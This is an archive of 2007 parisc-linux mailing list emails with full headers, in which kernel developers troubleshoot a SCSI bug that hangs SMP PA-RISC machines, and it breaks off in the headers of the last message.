Original-Received: by 10.78.202.8 with HTTP; Sat, 6 Jan 2007 05:34:43 -0800 (PST)
In-Reply-To: <7d01f9f00701060522p5b52fe47m290cad4fd0aadf1c@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: 7b1789c17ae61b46
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 78j9ERAGbXBtTrqHPTQ2PnwqLyUmZcik
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24213

On 1/6/07, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> pa-ckers
>
> So the scsi bug that struck Jeff, Kyle and myself on A500 eventually
> killed my rp3440. Here's the console dump:
>
> http://www.pateam.org/archive/dumps/scsibug.txt
>
> It basically renders SMP boxes useless. The last unaffected kernel was
> 2.6.18-rc1-pa3.

A500 .config here: http://www.pateam.org/archive/dumps/configa500

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Sat, 6 Jan 2007 09:26:43 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <5b2e36650701060626p44190096h483a1ea4ed70b866__37378.1009730466$1416624254$gmane$org@mail.gmail.com>
References: <7d01f9f00701051834l4766fe0aya242c808bffbc407@mail.gmail.com>
	<5b2e36650701052010t6e196fdl1d413e6bed223ccc@mail.gmail.com>
	<7d01f9f00701060343q4dea6067yd59df5a65fe35dc2@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624254 22090 80.91.229.3 (22 Nov 2014 02:44:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2007 14:26:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx098) with SMTP; 06 Jan 2007 15:26:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C1087DA4D;
	Sat,  6 Jan 2007 07:26:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17758-08; Sat, 6 Jan 2007 07:26:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E28C7DA4E;
	Sat,  6 Jan 2007 07:26:50 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFC087DA4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 07:26:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17758-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Jan 2007 07:26:44 -0700 (MST)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.233])
	by free.linux.hp.com (Postfix) with ESMTP id 1A97A7DA3F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 07:26:44 -0700 (MST)
Original-Received: by wx-out-0506.google.com with SMTP id s13so4668059wxc
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 06 Jan 2007 06:26:43 -0800 (PST)
Original-Received: by 10.90.116.6 with SMTP id o6mr1252770agc.1168093603696;
	Sat, 06 Jan 2007 06:26:43 -0800 (PST)
Original-Received: by 10.90.66.11 with HTTP; Sat, 6 Jan 2007 06:26:43 -0800 (PST)
In-Reply-To: <7d01f9f00701060343q4dea6067yd59df5a65fe35dc2@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1MD2KiceMydyf4igZWplNh9raGRhZhqj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24214

On 06/01/07, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> On 1/6/07, Jeff Bailey <jbailey@raspberryginger.com> wrote:
> > On 05/01/07, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> > > As a side note, I just killed again that very same box trying to build
> > > a kernel: disk was put offline after scsi reset or something (couldn't
> > > gather more data at this point, will do that tomorrow. IIRC kyle is
> > > experiencing that same bug though).
> >
> > The SCSI problems you're having went away for me when I put it on a UP kernel.
>
> OK, that means that's a SMP issue then. I'm sure you don't mean the
> fix is to use a UP kernel? 8^)
>
> Will dig that more today.

Dude, I work in support.  My first solution is always a workaround. ;)

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI (?) bug
Date: Sat, 06 Jan 2007 09:13:27 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <1168096408.2792.46.camel__6289.7705859088$1416624254$gmane$org@mulgrave.il.steeleye.com>
References: <7d01f9f00701060522p5b52fe47m290cad4fd0aadf1c@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624254 22350 80.91.229.3 (22 Nov 2014 02:44:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2007 15:13:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 06 Jan 2007 16:13:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 275C67DA76;
	Sat,  6 Jan 2007 08:13:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18218-08; Sat, 6 Jan 2007 08:13:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F11E7DA78;
	Sat,  6 Jan 2007 08:13:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5897C7DA75
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 08:13:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18220-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Jan 2007 08:13:32 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 6C42D7DA50
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 08:13:32 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	l06FDSx15664; Sat, 6 Jan 2007 10:13:28 -0500
In-Reply-To: <7d01f9f00701060522p5b52fe47m290cad4fd0aadf1c@mail.gmail.com>
X-Mailer: Evolution 2.6.3 (2.6.3-1.fc5.5) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nomtfWIVPjltCOrBOTU2oJAzMTE2NckB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24215

On Sat, 2007-01-06 at 14:22 +0100, Thibaut VARENE wrote:
> So the scsi bug that struck Jeff, Kyle and myself on A500 eventually
> killed my rp3440. Here's the console dump:

> http://www.pateam.org/archive/dumps/scsibug.txt

The log isn't really helpful ... what ever caused this occurred just
prior to the first line (if it's captured in the log at all).

> It basically renders SMP boxes useless. The last unaffected kernel was
> 2.6.18-rc1-pa3.

The symptoms make it appear like a lost interrupt but there are many
other possibilities.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI (?) bug
Date: Sat, 6 Jan 2007 16:27:57 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <7d01f9f00701060727n421209a6q14c5f99ae798416e__27680.2204120488$1416624254$gmane$org@mail.gmail.com>
References: <7d01f9f00701060522p5b52fe47m290cad4fd0aadf1c@mail.gmail.com>
	<1168096408.2792.46.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624254 22354 80.91.229.3 (22 Nov 2014 02:44:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:14 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2007 15:28:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 06 Jan 2007 16:28:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 504CA7DA85;
	Sat,  6 Jan 2007 08:28:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18460-09; Sat, 6 Jan 2007 08:28:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3FE8C7DA76;
	Sat,  6 Jan 2007 08:28:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B1397DA6C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 08:28:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18460-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Jan 2007 08:27:59 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.170])
	by free.linux.hp.com (Postfix) with ESMTP id B2CC27DA68
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 08:27:58 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so6267620ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 06 Jan 2007 07:27:57 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=k2BIuXhw3XP1wyT4na9N65QQtbq7JXi0hvDH1dLTL4HZ2I8gMb8R8fgbA9hdv68XdlGDMhVRJ+lGP7OwkBa4JsB9QcYtv4LguJy89vDk/GALB2Bpke9iLhCiiuFfbZrxrZnM8WRETO8yv3arpP6OVSHAmTOJTVDJ4FYUETMoExM=
Original-Received: by 10.78.204.7 with SMTP id b7mr3511656hug.1168097277436;
	Sat, 06 Jan 2007 07:27:57 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Sat, 6 Jan 2007 07:27:57 -0800 (PST)
In-Reply-To: <1168096408.2792.46.camel@mulgrave.il.steeleye.com>
Content-Disposition: inline
X-Google-Sender-Auth: 7c01a313a3f7e205
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z639ERIGbXBtTrqHPTQ2BZsqLyUmZcgL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24216

On 1/6/07, James Bottomley <James.Bottomley@steeleye.com> wrote:
> On Sat, 2007-01-06 at 14:22 +0100, Thibaut VARENE wrote:
> > So the scsi bug that struck Jeff, Kyle and myself on A500 eventually
> > killed my rp3440. Here's the console dump:
>
> > http://www.pateam.org/archive/dumps/scsibug.txt
>
> The log isn't really helpful ... what ever caused this occurred just
> prior to the first line (if it's captured in the log at all).

There was nothing prior to the first line (except the last normal
dmesg output from boot time)

> > It basically renders SMP boxes useless. The last unaffected kernel was
> > 2.6.18-rc1-pa3.
>
> The symptoms make it appear like a lost interrupt but there are many
> other possibilities.

OK, thanks for the hint. It doesn't happen at all on UP machines, afaict.

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI (?) bug
Date: Sat, 06 Jan 2007 15:53:28 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <459FC5F8.2070607__9896.73521039567$1416624255$gmane$org@scarlet.be>
References: <7d01f9f00701060522p5b52fe47m290cad4fd0aadf1c@mail.gmail.com>	<1168096408.2792.46.camel@mulgrave.il.steeleye.com>
	<7d01f9f00701060727n421209a6q14c5f99ae798416e@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624255 22361 80.91.229.3 (22 Nov 2014 02:44:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:15 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2007 15:53:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 06 Jan 2007 16:53:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 440197DA7C;
	Sat,  6 Jan 2007 08:53:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18696-10; Sat, 6 Jan 2007 08:53:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B6597DA7E;
	Sat,  6 Jan 2007 08:53:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 325CE7DA78
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 08:53:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18696-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Jan 2007 08:53:37 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 221F27DA75
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 08:53:36 -0700 (MST)
Original-Received: from (ip-213-49-75-5.dsl.scarlet.be [213.49.75.5]) 
	by oola.is.scarlet.be  with ESMTP id l06FrSo23661; 
	Sat, 6 Jan 2007 16:53:28 +0100
User-Agent: Icedove 1.5.0.9 (X11/20061220)
In-Reply-To: <7d01f9f00701060727n421209a6q14c5f99ae798416e@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OfSmfW4TYW0+VLuGbmZpzK50amthcxvg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24217

Duno if it could help but latest git src (dated this 2007-01-03) boot fine on my d380 32bit smp system (only internal disk, 
i.e. ncr53c8xx driver only).

Otoh I was unable to boot smp 64bit (same src) on N4k: it hang after
NET: Registered protocol family 2

nosmp boot option solve the pb.

That said I also encountered the same symptome while trying to install opensuse 10.2 on an old smp i386 boxe, though.

Sorry but I couldn't help more for the moment.

Joel

Thibaut VARENE wrote:
> On 1/6/07, James Bottomley <James.Bottomley@steeleye.com> wrote:
>> On Sat, 2007-01-06 at 14:22 +0100, Thibaut VARENE wrote:
>> > So the scsi bug that struck Jeff, Kyle and myself on A500 eventually
>> > killed my rp3440. Here's the console dump:
>>
>> > http://www.pateam.org/archive/dumps/scsibug.txt
>>
>> The log isn't really helpful ... what ever caused this occurred just
>> prior to the first line (if it's captured in the log at all).
> 
> There was nothing prior to the first line (except the last normal
> dmesg output from boot time)
> 
>> > It basically renders SMP boxes useless. The last unaffected kernel was
>> > 2.6.18-rc1-pa3.
>>
>> The symptoms make it appear like a lost interrupt but there are many
>> other possibilities.
> 
> OK, thanks for the hint. It doesn't happen at all on UP machines, afaict.
> 
> T-Bone
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Sat, 6 Jan 2007 13:18:09 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <200701061818.l06II9wm002956__47335.4361871772$1416624255$gmane$org@hiauly1.hia.nrc.ca>
References: <7d01f9f00701051834l4766fe0aya242c808bffbc407@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624255 22365 80.91.229.3 (22 Nov 2014 02:44:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2007 18:18:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 06 Jan 2007 19:18:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6FE47DA7C;
	Sat,  6 Jan 2007 11:18:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19596-05; Sat, 6 Jan 2007 11:18:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAAAB7DA7D;
	Sat,  6 Jan 2007 11:18:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A817A7DA76
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 11:18:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19596-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Jan 2007 11:18:11 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 09B947DA74
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Jan 2007 11:18:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l06II93g002957;
	Sat, 6 Jan 2007 13:18:10 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l06II9wm002956;
